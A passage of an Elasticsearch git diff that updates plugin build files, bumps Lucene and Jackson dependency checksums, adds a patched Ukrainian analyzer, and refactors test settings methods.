b/modules/transport-netty4/src/test/java/org/elasticsearch/transport/netty4/SimpleNetty4TransportTests.java index bf102ba707893..6369e478def67 100644 --- a/modules/transport-netty4/src/test/java/org/elasticsearch/transport/netty4/SimpleNetty4TransportTests.java +++ b/modules/transport-netty4/src/test/java/org/elasticsearch/transport/netty4/SimpleNetty4TransportTests.java @@ -84,10 +84,6 @@ public void testDefaultKeepAliveSettings() throws IOException { JavaVersion.current().compareTo(JavaVersion.parse("11")) >= 0); try (MockTransportService serviceC = buildService("TS_C", Version.CURRENT, Settings.EMPTY); MockTransportService serviceD = buildService("TS_D", Version.CURRENT, Settings.EMPTY)) { - serviceC.start(); - serviceC.acceptIncomingRequests(); - serviceD.start(); - serviceD.acceptIncomingRequests(); try (Transport.Connection connection = openConnection(serviceC, serviceD.getLocalDiscoNode(), TestProfiles.LIGHT_PROFILE)) { assertThat(connection, instanceOf(StubbableTransport.WrappedConnection.class)); diff --git a/plugins/analysis-icu/build.gradle b/plugins/analysis-icu/build.gradle index 017dda7d888b4..489d6a84f3898 100644 --- a/plugins/analysis-icu/build.gradle +++ b/plugins/analysis-icu/build.gradle @@ -8,6 +8,7 @@ import de.thetaphi.forbiddenapis.gradle.CheckForbiddenApis * Side Public License, v 1. */ apply plugin: 'elasticsearch.yaml-rest-test' +apply plugin: 'elasticsearch.yaml-rest-compat-test' apply plugin: 'elasticsearch.internal-cluster-test' esplugin { @@ -28,10 +29,16 @@ dependencies { restResources { restApi { - includeCore '_common', 'indices', 'index', 'search' + include '_common', 'indices', 'index', 'search' } } tasks.named("dependencyLicenses").configure { mapping from: /lucene-.*/, to: 'lucene' } + +tasks.named("yamlRestCompatTest").configure { + systemProperty 'tests.rest.blacklist', [ + 'analysis_icu/10_basic/Normalization with deprecated unicodeSetFilter' + ].join(',') +} diff --git a/plugins/analysis-icu/licenses/lucene-analyzers-icu-8.8.0.jar.sha1 b/plugins/analysis-icu/licenses/lucene-analyzers-icu-8.8.0.jar.sha1 deleted file mode 100644 index 7c0826072d8a0..0000000000000 --- a/plugins/analysis-icu/licenses/lucene-analyzers-icu-8.8.0.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -8b8749fd5ab57569dc219bfa07d423e2d45b430c \ No newline at end of file diff --git a/plugins/analysis-icu/licenses/lucene-analyzers-icu-8.9.0-snapshot-efdc43fee18.jar.sha1 b/plugins/analysis-icu/licenses/lucene-analyzers-icu-8.9.0-snapshot-efdc43fee18.jar.sha1 new file mode 100644 index 0000000000000..ab7b0555c0410 --- /dev/null +++ b/plugins/analysis-icu/licenses/lucene-analyzers-icu-8.9.0-snapshot-efdc43fee18.jar.sha1 @@ -0,0 +1 @@ +ee8ece31d9801b3671ae91679a87fde7c94d94b1 \ No newline at end of file diff --git a/plugins/analysis-icu/src/main/java/org/elasticsearch/index/mapper/ICUCollationKeywordFieldMapper.java b/plugins/analysis-icu/src/main/java/org/elasticsearch/index/mapper/ICUCollationKeywordFieldMapper.java index aef9fa2b53f04..ec1fdecf3f15a 100644 --- a/plugins/analysis-icu/src/main/java/org/elasticsearch/index/mapper/ICUCollationKeywordFieldMapper.java +++ b/plugins/analysis-icu/src/main/java/org/elasticsearch/index/mapper/ICUCollationKeywordFieldMapper.java @@ -12,6 +12,7 @@ import com.ibm.icu.text.RawCollationKey; import com.ibm.icu.text.RuleBasedCollator; import com.ibm.icu.util.ULocale; + import org.apache.lucene.document.Field; import org.apache.lucene.document.FieldType; import org.apache.lucene.document.SortedSetDocValuesField; @@ -136,7 +137,7 @@ public Query regexpQuery(String value, int syntaxFlags, int matchFlags, int maxD throw new UnsupportedOperationException("[regexp] queries are not supported on [" + CONTENT_TYPE + "] fields."); } - public static DocValueFormat COLLATE_FORMAT = new DocValueFormat() { + public static final DocValueFormat COLLATE_FORMAT = new DocValueFormat() { @Override public String getWriteableName() { return "collate"; @@ -436,15 +437,11 @@ public FieldMapper.Builder getMergeBuilder() { @Override protected void parseCreateField(ParseContext context) throws IOException { final String value; - if (context.externalValueSet()) { - value = context.externalValue().toString(); + XContentParser parser = context.parser(); + if (parser.currentToken() == XContentParser.Token.VALUE_NULL) { + value = nullValue; } else { - XContentParser parser = context.parser(); - if (parser.currentToken() == XContentParser.Token.VALUE_NULL) { - value = nullValue; - } else { - value = parser.textOrNull(); - } + value = parser.textOrNull(); } if (value == null || value.length() > ignoreAbove) { @@ -462,7 +459,7 @@ protected void parseCreateField(ParseContext context) throws IOException { if (hasDocValues) { context.doc().add(new SortedSetDocValuesField(fieldType().name(), binaryValue)); } else if (fieldType.indexOptions() != IndexOptions.NONE || fieldType.stored()) { - createFieldNamesField(context); + context.addToFieldNames(fieldType().name()); } } diff --git a/plugins/analysis-icu/src/test/java/org/elasticsearch/index/mapper/ICUCollationKeywordFieldMapperTests.java b/plugins/analysis-icu/src/test/java/org/elasticsearch/index/mapper/ICUCollationKeywordFieldMapperTests.java index 6a0171760b714..a71ecf1b65aef 100644 --- a/plugins/analysis-icu/src/test/java/org/elasticsearch/index/mapper/ICUCollationKeywordFieldMapperTests.java +++ b/plugins/analysis-icu/src/test/java/org/elasticsearch/index/mapper/ICUCollationKeywordFieldMapperTests.java @@ -10,6 +10,7 @@ import com.ibm.icu.text.Collator; import com.ibm.icu.text.RawCollationKey; import com.ibm.icu.util.ULocale; + import org.apache.lucene.index.DocValuesType; import org.apache.lucene.index.IndexOptions; import org.apache.lucene.index.IndexableField; @@ -280,4 +281,13 @@ public void testUpdateIgnoreAbove() throws IOException { assertEquals(0, fields.length); } + @Override + protected String generateRandomInputValue(MappedFieldType ft) { + assumeFalse("docvalue_fields is broken", true); + // https://github.com/elastic/elasticsearch/issues/70276 + /* + * docvalue_fields loads garbage bytes. + */ + return null; + } } diff --git a/plugins/analysis-kuromoji/build.gradle b/plugins/analysis-kuromoji/build.gradle index 5c1c562bd73b6..a21f7bda30775 100644 --- a/plugins/analysis-kuromoji/build.gradle +++ b/plugins/analysis-kuromoji/build.gradle @@ -6,6 +6,7 @@ * Side Public License, v 1. */ apply plugin: 'elasticsearch.yaml-rest-test' +apply plugin: 'elasticsearch.yaml-rest-compat-test' esplugin { description 'The Japanese (kuromoji) Analysis plugin integrates Lucene kuromoji analysis module into elasticsearch.' @@ -18,7 +19,7 @@ dependencies { restResources { restApi { - includeCore '_common', 'indices', 'index', 'search' + include '_common', 'indices', 'index', 'search' } } tasks.named("dependencyLicenses").configure { diff --git a/plugins/analysis-kuromoji/licenses/lucene-analyzers-kuromoji-8.8.0.jar.sha1 b/plugins/analysis-kuromoji/licenses/lucene-analyzers-kuromoji-8.8.0.jar.sha1 deleted file mode 100644 index 43fc96bf4fea4..0000000000000 --- a/plugins/analysis-kuromoji/licenses/lucene-analyzers-kuromoji-8.8.0.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -735281a9a06bb352211b98d42474730228c0da5d \ No newline at end of file diff --git a/plugins/analysis-kuromoji/licenses/lucene-analyzers-kuromoji-8.9.0-snapshot-efdc43fee18.jar.sha1 b/plugins/analysis-kuromoji/licenses/lucene-analyzers-kuromoji-8.9.0-snapshot-efdc43fee18.jar.sha1 new file mode 100644 index 0000000000000..e92d045f04bc7 --- /dev/null +++ b/plugins/analysis-kuromoji/licenses/lucene-analyzers-kuromoji-8.9.0-snapshot-efdc43fee18.jar.sha1 @@ -0,0 +1 @@ +7964e1113fb0ab0b6ab063a78bae35af3b636731 \ No newline at end of file diff --git a/plugins/analysis-nori/build.gradle b/plugins/analysis-nori/build.gradle index c237719f40386..046875bdea7c4 100644 --- a/plugins/analysis-nori/build.gradle +++ b/plugins/analysis-nori/build.gradle @@ -6,6 +6,7 @@ * Side Public License, v 1. */ apply plugin: 'elasticsearch.yaml-rest-test' +apply plugin: 'elasticsearch.yaml-rest-compat-test' esplugin { description 'The Korean (nori) Analysis plugin integrates Lucene nori analysis module into elasticsearch.' @@ -18,7 +19,7 @@ dependencies { restResources { restApi { - includeCore '_common', 'indices', 'index', 'search' + include '_common', 'indices', 'index', 'search' } } diff --git a/plugins/analysis-nori/licenses/lucene-analyzers-nori-8.8.0.jar.sha1 b/plugins/analysis-nori/licenses/lucene-analyzers-nori-8.8.0.jar.sha1 deleted file mode 100644 index 3a133ecbb7f46..0000000000000 --- a/plugins/analysis-nori/licenses/lucene-analyzers-nori-8.8.0.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -94d9dc927a0b4a2074aec6ec059f62ba94b2094b \ No newline at end of file diff --git a/plugins/analysis-nori/licenses/lucene-analyzers-nori-8.9.0-snapshot-efdc43fee18.jar.sha1 b/plugins/analysis-nori/licenses/lucene-analyzers-nori-8.9.0-snapshot-efdc43fee18.jar.sha1 new file mode 100644 index 0000000000000..57495913e874c --- /dev/null +++ b/plugins/analysis-nori/licenses/lucene-analyzers-nori-8.9.0-snapshot-efdc43fee18.jar.sha1 @@ -0,0 +1 @@ +c67a77f71bd9b3c853adade659c7e9a9192babcc \ No newline at end of file diff --git a/plugins/analysis-phonetic/build.gradle b/plugins/analysis-phonetic/build.gradle index d014a07db6066..0479b1215d142 100644 --- a/plugins/analysis-phonetic/build.gradle +++ b/plugins/analysis-phonetic/build.gradle @@ -6,6 +6,7 @@ * Side Public License, v 1. */ apply plugin: 'elasticsearch.yaml-rest-test' +apply plugin: 'elasticsearch.yaml-rest-compat-test' esplugin { description 'The Phonetic Analysis plugin integrates phonetic token filter analysis with elasticsearch.' @@ -19,7 +20,7 @@ dependencies { restResources { restApi { - includeCore '_common', 'indices', 'index', 'search' + include '_common', 'indices', 'index', 'search' } } diff --git a/plugins/analysis-phonetic/licenses/lucene-analyzers-phonetic-8.8.0.jar.sha1 b/plugins/analysis-phonetic/licenses/lucene-analyzers-phonetic-8.8.0.jar.sha1 deleted file mode 100644 index 5c3e385d78b82..0000000000000 --- a/plugins/analysis-phonetic/licenses/lucene-analyzers-phonetic-8.8.0.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -ee3c4300f349f447163b53b7392068264e022f16 \ No newline at end of file diff --git a/plugins/analysis-phonetic/licenses/lucene-analyzers-phonetic-8.9.0-snapshot-efdc43fee18.jar.sha1 b/plugins/analysis-phonetic/licenses/lucene-analyzers-phonetic-8.9.0-snapshot-efdc43fee18.jar.sha1 new file mode 100644 index 0000000000000..f961be6f91263 --- /dev/null +++ b/plugins/analysis-phonetic/licenses/lucene-analyzers-phonetic-8.9.0-snapshot-efdc43fee18.jar.sha1 @@ -0,0 +1 @@ +2a10e98d21375d09e46fe5435fbc61efe52d3759 \ No newline at end of file diff --git a/plugins/analysis-phonetic/src/main/java/org/elasticsearch/index/analysis/phonetic/KoelnerPhonetik.java b/plugins/analysis-phonetic/src/main/java/org/elasticsearch/index/analysis/phonetic/KoelnerPhonetik.java index 410f1cce8abe3..ce81a4de34f07 100644 --- a/plugins/analysis-phonetic/src/main/java/org/elasticsearch/index/analysis/phonetic/KoelnerPhonetik.java +++ b/plugins/analysis-phonetic/src/main/java/org/elasticsearch/index/analysis/phonetic/KoelnerPhonetik.java @@ -240,7 +240,7 @@ private String substitute(String str) { } break; case 'X': - sb.append(i < 1 || !ckq.contains(prev) ? "48" : '8'); + sb.append(i < 1 || ckq.contains(prev) == false ? "48" : '8'); break; case 'L': sb.append('5'); diff --git a/plugins/analysis-smartcn/build.gradle b/plugins/analysis-smartcn/build.gradle index ba6b29359275c..e01b3e8347fae 100644 --- a/plugins/analysis-smartcn/build.gradle +++ b/plugins/analysis-smartcn/build.gradle @@ -6,6 +6,7 @@ * Side Public License, v 1. */ apply plugin: 'elasticsearch.yaml-rest-test' +apply plugin: 'elasticsearch.yaml-rest-compat-test' esplugin { description 'Smart Chinese Analysis plugin integrates Lucene Smart Chinese analysis module into elasticsearch.' @@ -18,7 +19,7 @@ dependencies { restResources { restApi { - includeCore '_common', 'indices', 'index', 'search' + include '_common', 'indices', 'index', 'search' } } diff --git a/plugins/analysis-smartcn/licenses/lucene-analyzers-smartcn-8.8.0.jar.sha1 b/plugins/analysis-smartcn/licenses/lucene-analyzers-smartcn-8.8.0.jar.sha1 deleted file mode 100644 index 1664262f1841f..0000000000000 --- a/plugins/analysis-smartcn/licenses/lucene-analyzers-smartcn-8.8.0.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -ef63a61e00290485d5231b8c63cd7bff42871f9a \ No newline at end of file diff --git a/plugins/analysis-smartcn/licenses/lucene-analyzers-smartcn-8.9.0-snapshot-efdc43fee18.jar.sha1 b/plugins/analysis-smartcn/licenses/lucene-analyzers-smartcn-8.9.0-snapshot-efdc43fee18.jar.sha1 new file mode 100644 index 0000000000000..9fac370ed5f4c --- /dev/null +++ b/plugins/analysis-smartcn/licenses/lucene-analyzers-smartcn-8.9.0-snapshot-efdc43fee18.jar.sha1 @@ -0,0 +1 @@ +1452205f288857a3efd3cf9031fd826e3b7070a1 \ No newline at end of file diff --git a/plugins/analysis-stempel/build.gradle b/plugins/analysis-stempel/build.gradle index 52f09bf20f8fa..bc5e973b9d980 100644 --- a/plugins/analysis-stempel/build.gradle +++ b/plugins/analysis-stempel/build.gradle @@ -6,6 +6,7 @@ * Side Public License, v 1. */ apply plugin: 'elasticsearch.yaml-rest-test' +apply plugin: 'elasticsearch.yaml-rest-compat-test' esplugin { description 'The Stempel (Polish) Analysis plugin integrates Lucene stempel (polish) analysis module into elasticsearch.' @@ -18,7 +19,7 @@ dependencies { restResources { restApi { - includeCore '_common', 'indices', 'index', 'search' + include '_common', 'indices', 'index', 'search' } } diff --git a/plugins/analysis-stempel/licenses/lucene-analyzers-stempel-8.8.0.jar.sha1 b/plugins/analysis-stempel/licenses/lucene-analyzers-stempel-8.8.0.jar.sha1 deleted file mode 100644 index d14555f061847..0000000000000 --- a/plugins/analysis-stempel/licenses/lucene-analyzers-stempel-8.8.0.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -786fbe0b81fe9327d314cb498622e0d52bda8322 \ No newline at end of file diff --git a/plugins/analysis-stempel/licenses/lucene-analyzers-stempel-8.9.0-snapshot-efdc43fee18.jar.sha1 b/plugins/analysis-stempel/licenses/lucene-analyzers-stempel-8.9.0-snapshot-efdc43fee18.jar.sha1 new file mode 100644 index 0000000000000..4974b5a9a8121 --- /dev/null +++ b/plugins/analysis-stempel/licenses/lucene-analyzers-stempel-8.9.0-snapshot-efdc43fee18.jar.sha1 @@ -0,0 +1 @@ +9d0a2223b9bb63aab056884bdf63ef53451f7008 \ No newline at end of file diff --git a/plugins/analysis-ukrainian/build.gradle b/plugins/analysis-ukrainian/build.gradle index 4515bbed99eae..a8f0a65df1b47 100644 --- a/plugins/analysis-ukrainian/build.gradle +++ b/plugins/analysis-ukrainian/build.gradle @@ -6,6 +6,7 @@ * Side Public License, v 1. */ apply plugin: 'elasticsearch.yaml-rest-test' +apply plugin: 'elasticsearch.yaml-rest-compat-test' esplugin { description 'The Ukrainian Analysis plugin integrates the Lucene UkrainianMorfologikAnalyzer into elasticsearch.' @@ -21,7 +22,7 @@ dependencies { restResources { restApi { - includeCore '_common', 'indices', 'index', 'search' + include '_common', 'indices', 'index', 'search' } } diff --git a/plugins/analysis-ukrainian/licenses/lucene-analyzers-morfologik-8.8.0.jar.sha1 b/plugins/analysis-ukrainian/licenses/lucene-analyzers-morfologik-8.8.0.jar.sha1 deleted file mode 100644 index 0557e9777eb2b..0000000000000 --- a/plugins/analysis-ukrainian/licenses/lucene-analyzers-morfologik-8.8.0.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -f58e921c72f709ffd6803e5f462d2163780d2bd1 \ No newline at end of file diff --git a/plugins/analysis-ukrainian/licenses/lucene-analyzers-morfologik-8.9.0-snapshot-efdc43fee18.jar.sha1 b/plugins/analysis-ukrainian/licenses/lucene-analyzers-morfologik-8.9.0-snapshot-efdc43fee18.jar.sha1 new file mode 100644 index 0000000000000..5fb33891d738f --- /dev/null +++ b/plugins/analysis-ukrainian/licenses/lucene-analyzers-morfologik-8.9.0-snapshot-efdc43fee18.jar.sha1 @@ -0,0 +1 @@ +1269c6ad244bcab76e213a8ae8978a03f43b48e3 \ No newline at end of file diff --git a/plugins/analysis-ukrainian/src/main/java/org/apache/lucene/analysis/uk/XUkrainianMorfologikAnalyzer.java b/plugins/analysis-ukrainian/src/main/java/org/apache/lucene/analysis/uk/XUkrainianMorfologikAnalyzer.java new file mode 100644 index 0000000000000..d11bb1b96ad44 --- /dev/null +++ b/plugins/analysis-ukrainian/src/main/java/org/apache/lucene/analysis/uk/XUkrainianMorfologikAnalyzer.java @@ -0,0 +1,158 @@ +/*@notice + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.lucene.analysis.uk; + +import morfologik.stemming.Dictionary; +import org.apache.lucene.analysis.Analyzer; +import org.apache.lucene.analysis.CharArraySet; +import org.apache.lucene.analysis.LowerCaseFilter; +import org.apache.lucene.analysis.StopFilter; +import org.apache.lucene.analysis.StopwordAnalyzerBase; +import org.apache.lucene.analysis.TokenStream; +import org.apache.lucene.analysis.Tokenizer; +import org.apache.lucene.analysis.WordlistLoader; +import org.apache.lucene.analysis.charfilter.MappingCharFilter; +import org.apache.lucene.analysis.charfilter.NormalizeCharMap; +import org.apache.lucene.analysis.miscellaneous.SetKeywordMarkerFilter; +import org.apache.lucene.analysis.morfologik.MorfologikFilter; +import org.apache.lucene.analysis.standard.StandardTokenizer; +import org.apache.lucene.util.IOUtils; +import org.elasticsearch.common.SuppressForbidden; + +import java.io.IOException; +import java.io.Reader; +import java.nio.charset.StandardCharsets; + +/** + * A dictionary-based {@link Analyzer} for Ukrainian. + * + * Modified from lucene 8.8.0 sources to incorporate a bugfix for + * https://issues.apache.org/jira/browse/LUCENE-9930 + */ +public final class XUkrainianMorfologikAnalyzer extends StopwordAnalyzerBase { + private final CharArraySet stemExclusionSet; + + /** File containing default Ukrainian stopwords. */ + public static final String DEFAULT_STOPWORD_FILE = "stopwords.txt"; + + /** + * Returns an unmodifiable instance of the default stop words set. + * @return default stop words set. + */ + public static CharArraySet getDefaultStopSet() { + return DefaultSetHolder.DEFAULT_STOP_SET; + } + + /** + * Atomically loads the DEFAULT_STOP_SET and DICTIONARY in a lazy fashion once the outer class + * accesses the static final set the first time.; + */ + @SuppressForbidden(reason="Lucene uses IOUtils") + private static class DefaultSetHolder { + static final CharArraySet DEFAULT_STOP_SET; + static final Dictionary DICTIONARY; + + static { + try { + DEFAULT_STOP_SET = WordlistLoader.getSnowballWordSet(IOUtils.getDecodingReader(UkrainianMorfologikAnalyzer.class, + DEFAULT_STOPWORD_FILE, StandardCharsets.UTF_8)); + DICTIONARY = Dictionary.read( + UkrainianMorfologikAnalyzer.class.getClassLoader().getResource("ua/net/nlp/ukrainian.dict")); + } catch (IOException ex) { + // default set should always be present as it is part of the + // distribution (JAR) + throw new RuntimeException("Unable to load resources", ex); + } + } + } + + /** + * Builds an analyzer with the default stop words: {@link #DEFAULT_STOPWORD_FILE}. + */ + public XUkrainianMorfologikAnalyzer() { + this(DefaultSetHolder.DEFAULT_STOP_SET); + } + + /** + * Builds an analyzer with the given stop words. + * + * @param stopwords a stopword set + */ + public XUkrainianMorfologikAnalyzer(CharArraySet stopwords) { + this(stopwords, CharArraySet.EMPTY_SET); + } + + /** + * Builds an analyzer with the given stop words. If a non-empty stem exclusion set is + * provided this analyzer will add a {@link SetKeywordMarkerFilter} before + * stemming. + * + * @param stopwords a stopword set + * @param stemExclusionSet a set of terms not to be stemmed + */ + public XUkrainianMorfologikAnalyzer(CharArraySet stopwords, CharArraySet stemExclusionSet) { + super(stopwords); + this.stemExclusionSet = CharArraySet.unmodifiableSet(CharArraySet.copy(stemExclusionSet)); + } + + @Override + protected Reader initReader(String fieldName, Reader reader) { + NormalizeCharMap.Builder builder = new NormalizeCharMap.Builder(); + // different apostrophes + builder.add("\u2019", "'"); + builder.add("\u2018", "'"); + builder.add("\u02BC", "'"); + builder.add("`", "'"); + builder.add("´", "'"); + // ignored characters + builder.add("\u0301", ""); + builder.add("\u00AD", ""); + builder.add("ґ", "г"); + builder.add("Ґ", "Г"); + + NormalizeCharMap normMap = builder.build(); + reader = new MappingCharFilter(normMap, reader); + return reader; + } + + /** + * Creates a + * {@link org.apache.lucene.analysis.Analyzer.TokenStreamComponents} + * which tokenizes all the text in the provided {@link Reader}. + * + * @return A + * {@link org.apache.lucene.analysis.Analyzer.TokenStreamComponents} + * built from an {@link StandardTokenizer} filtered with + * {@link LowerCaseFilter}, {@link StopFilter} + * , {@link SetKeywordMarkerFilter} if a stem exclusion set is + * provided and {@link MorfologikFilter} on the Ukrainian dictionary. + */ + @Override + protected TokenStreamComponents createComponents(String fieldName) { + Tokenizer source = new StandardTokenizer(); + TokenStream result = new LowerCaseFilter(source); + result = new StopFilter(result, stopwords); + + if (stemExclusionSet.isEmpty() == false) { + result = new SetKeywordMarkerFilter(result, stemExclusionSet); + } + + result = new MorfologikFilter(result, DefaultSetHolder.DICTIONARY); + return new TokenStreamComponents(source, result); + } + +} diff --git a/plugins/analysis-ukrainian/src/main/java/org/elasticsearch/index/analysis/UkrainianAnalyzerProvider.java b/plugins/analysis-ukrainian/src/main/java/org/elasticsearch/index/analysis/UkrainianAnalyzerProvider.java index 9c1880e8ca3ff..8802640835f25 100644 --- a/plugins/analysis-ukrainian/src/main/java/org/elasticsearch/index/analysis/UkrainianAnalyzerProvider.java +++ b/plugins/analysis-ukrainian/src/main/java/org/elasticsearch/index/analysis/UkrainianAnalyzerProvider.java @@ -10,17 +10,18 @@ import org.apache.lucene.analysis.CharArraySet; import org.apache.lucene.analysis.uk.UkrainianMorfologikAnalyzer; +import org.apache.lucene.analysis.uk.XUkrainianMorfologikAnalyzer; import org.elasticsearch.common.settings.Settings; import org.elasticsearch.env.Environment; import org.elasticsearch.index.IndexSettings; -public class UkrainianAnalyzerProvider extends AbstractIndexAnalyzerProvider { +public class UkrainianAnalyzerProvider extends AbstractIndexAnalyzerProvider { - private final UkrainianMorfologikAnalyzer analyzer; + private final XUkrainianMorfologikAnalyzer analyzer; public UkrainianAnalyzerProvider(IndexSettings indexSettings, Environment env, String name, Settings settings) { super(indexSettings, name, settings); - analyzer = new UkrainianMorfologikAnalyzer( + analyzer = new XUkrainianMorfologikAnalyzer( Analysis.parseStopWords(env, settings, UkrainianMorfologikAnalyzer.getDefaultStopSet()), Analysis.parseStemExclusion(settings, CharArraySet.EMPTY_SET) ); @@ -28,9 +29,8 @@ public UkrainianAnalyzerProvider(IndexSettings indexSettings, Environment env, S } @Override - public UkrainianMorfologikAnalyzer get() { + public XUkrainianMorfologikAnalyzer get() { return this.analyzer; } - } diff --git a/plugins/analysis-ukrainian/src/test/java/org/elasticsearch/index/analysis/UkrainianAnalysisTests.java b/plugins/analysis-ukrainian/src/test/java/org/elasticsearch/index/analysis/UkrainianAnalysisTests.java index 7fe6b189ad933..fa8d75fdcf2c3 100644 --- a/plugins/analysis-ukrainian/src/test/java/org/elasticsearch/index/analysis/UkrainianAnalysisTests.java +++ b/plugins/analysis-ukrainian/src/test/java/org/elasticsearch/index/analysis/UkrainianAnalysisTests.java @@ -9,7 +9,7 @@ package org.elasticsearch.index.analysis; import org.apache.lucene.analysis.Analyzer; -import org.apache.lucene.analysis.uk.UkrainianMorfologikAnalyzer; +import org.apache.lucene.analysis.uk.XUkrainianMorfologikAnalyzer; import org.elasticsearch.common.settings.Settings; import org.elasticsearch.index.Index; import org.elasticsearch.plugin.analysis.ukrainian.AnalysisUkrainianPlugin; @@ -27,6 +27,6 @@ public void testDefaultsUkranianAnalysis() throws IOException { new AnalysisUkrainianPlugin()); Analyzer analyzer = analysis.indexAnalyzers.get("ukrainian").analyzer(); - MatcherAssert.assertThat(analyzer, instanceOf(UkrainianMorfologikAnalyzer.class)); + MatcherAssert.assertThat(analyzer, instanceOf(XUkrainianMorfologikAnalyzer.class)); } } diff --git a/plugins/build.gradle b/plugins/build.gradle index 9ad5313eb5047..a9bb4ac93fafe 100644 --- a/plugins/build.gradle +++ b/plugins/build.gradle @@ -7,13 +7,13 @@ */ subprojects { - apply plugin: 'elasticsearch.testclusters' + apply plugin: 'elasticsearch.internal-testclusters' } // only configure immediate children of plugins dir configure(subprojects.findAll { it.parent.path == project.path }) { group = 'org.elasticsearch.plugin' - apply plugin: 'elasticsearch.esplugin' + apply plugin: 'elasticsearch.internal-es-plugin' esplugin { // for local ES plugins, the name of the plugin is the same as the directory diff --git a/plugins/discovery-azure-classic/build.gradle b/plugins/discovery-azure-classic/build.gradle index c8f7202c9e499..3101b0b343c58 100644 --- a/plugins/discovery-azure-classic/build.gradle +++ b/plugins/discovery-azure-classic/build.gradle @@ -1,5 +1,5 @@ import org.elasticsearch.gradle.LoggedExec -import org.elasticsearch.gradle.info.BuildParams +import org.elasticsearch.gradle.internal.info.BuildParams /* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one @@ -50,7 +50,7 @@ dependencies { restResources { restApi { - includeCore '_common', 'cluster', 'nodes' + include '_common', 'cluster', 'nodes' } } diff --git a/plugins/discovery-azure-classic/src/internalClusterTest/java/org/elasticsearch/cloud/azure/classic/AbstractAzureComputeServiceTestCase.java b/plugins/discovery-azure-classic/src/internalClusterTest/java/org/elasticsearch/cloud/azure/classic/AbstractAzureComputeServiceTestCase.java index 15616dc612579..1ddf8d22d6d9b 100644 --- a/plugins/discovery-azure-classic/src/internalClusterTest/java/org/elasticsearch/cloud/azure/classic/AbstractAzureComputeServiceTestCase.java +++ b/plugins/discovery-azure-classic/src/internalClusterTest/java/org/elasticsearch/cloud/azure/classic/AbstractAzureComputeServiceTestCase.java @@ -50,9 +50,9 @@ public void clearAzureNodes() { } @Override - protected Settings nodeSettings(int nodeOrdinal) { + protected Settings nodeSettings(int nodeOrdinal, Settings otherSettings) { Settings.Builder builder = Settings.builder() - .put(super.nodeSettings(nodeOrdinal)) + .put(super.nodeSettings(nodeOrdinal, otherSettings)) .put(DISCOVERY_SEED_PROVIDERS_SETTING.getKey(), "azure"); // We add a fake subscription_id to start mock compute service diff --git a/plugins/discovery-azure-classic/src/internalClusterTest/java/org/elasticsearch/discovery/azure/classic/AzureDiscoveryClusterFormationTests.java b/plugins/discovery-azure-classic/src/internalClusterTest/java/org/elasticsearch/discovery/azure/classic/AzureDiscoveryClusterFormationTests.java index cabdce18c2dd9..f87531ddd96bb 100644 --- a/plugins/discovery-azure-classic/src/internalClusterTest/java/org/elasticsearch/discovery/azure/classic/AzureDiscoveryClusterFormationTests.java +++ b/plugins/discovery-azure-classic/src/internalClusterTest/java/org/elasticsearch/discovery/azure/classic/AzureDiscoveryClusterFormationTests.java @@ -99,14 +99,14 @@ public static void setupKeyStore() throws IOException { } @Override - protected Settings nodeSettings(int nodeOrdinal) { + protected Settings nodeSettings(int nodeOrdinal, Settings otherSettings) { Path resolve = logDir.resolve(Integer.toString(nodeOrdinal)); try { Files.createDirectory(resolve); } catch (IOException e) { throw new RuntimeException(e); } - return Settings.builder().put(super.nodeSettings(nodeOrdinal)) + return Settings.builder().put(super.nodeSettings(nodeOrdinal, otherSettings)) .put(DiscoveryModule.DISCOVERY_SEED_PROVIDERS_SETTING.getKey(), AzureDiscoveryPlugin.AZURE) .put(Environment.PATH_LOGS_SETTING.getKey(), resolve) .put(TransportSettings.PORT.getKey(), 0) diff --git a/plugins/discovery-ec2/build.gradle b/plugins/discovery-ec2/build.gradle index 5049d43d3eceb..6eac2f760f655 100644 --- a/plugins/discovery-ec2/build.gradle +++ b/plugins/discovery-ec2/build.gradle @@ -1,4 +1,4 @@ -import org.elasticsearch.gradle.info.BuildParams +import org.elasticsearch.gradle.internal.info.BuildParams /* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one @@ -33,7 +33,7 @@ dependencies { restResources { restApi { - includeCore '_common', 'cluster', 'nodes' + include '_common', 'cluster', 'nodes' } } diff --git a/plugins/discovery-ec2/licenses/jackson-annotations-2.10.4.jar.sha1 b/plugins/discovery-ec2/licenses/jackson-annotations-2.10.4.jar.sha1 deleted file mode 100644 index 0c548bb0e7711..0000000000000 --- a/plugins/discovery-ec2/licenses/jackson-annotations-2.10.4.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -6ae6028aff033f194c9710ad87c224ccaadeed6c \ No newline at end of file diff --git a/plugins/discovery-ec2/licenses/jackson-annotations-2.12.2.jar.sha1 b/plugins/discovery-ec2/licenses/jackson-annotations-2.12.2.jar.sha1 new file mode 100644 index 0000000000000..8e6b8be3e084d --- /dev/null +++ b/plugins/discovery-ec2/licenses/jackson-annotations-2.12.2.jar.sha1 @@ -0,0 +1 @@ +0a770cc4c0a1fb0bfd8a150a6a0004e42bc99fca \ No newline at end of file diff --git a/plugins/discovery-ec2/licenses/jackson-databind-2.10.4.jar.sha1 b/plugins/discovery-ec2/licenses/jackson-databind-2.10.4.jar.sha1 deleted file mode 100644 index 27d5a72cd27af..0000000000000 --- a/plugins/discovery-ec2/licenses/jackson-databind-2.10.4.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -76e9152e93d4cf052f93a64596f633ba5b1c8ed9 \ No newline at end of file diff --git a/plugins/discovery-ec2/licenses/jackson-databind-2.12.2.jar.sha1 b/plugins/discovery-ec2/licenses/jackson-databind-2.12.2.jar.sha1 new file mode 100644 index 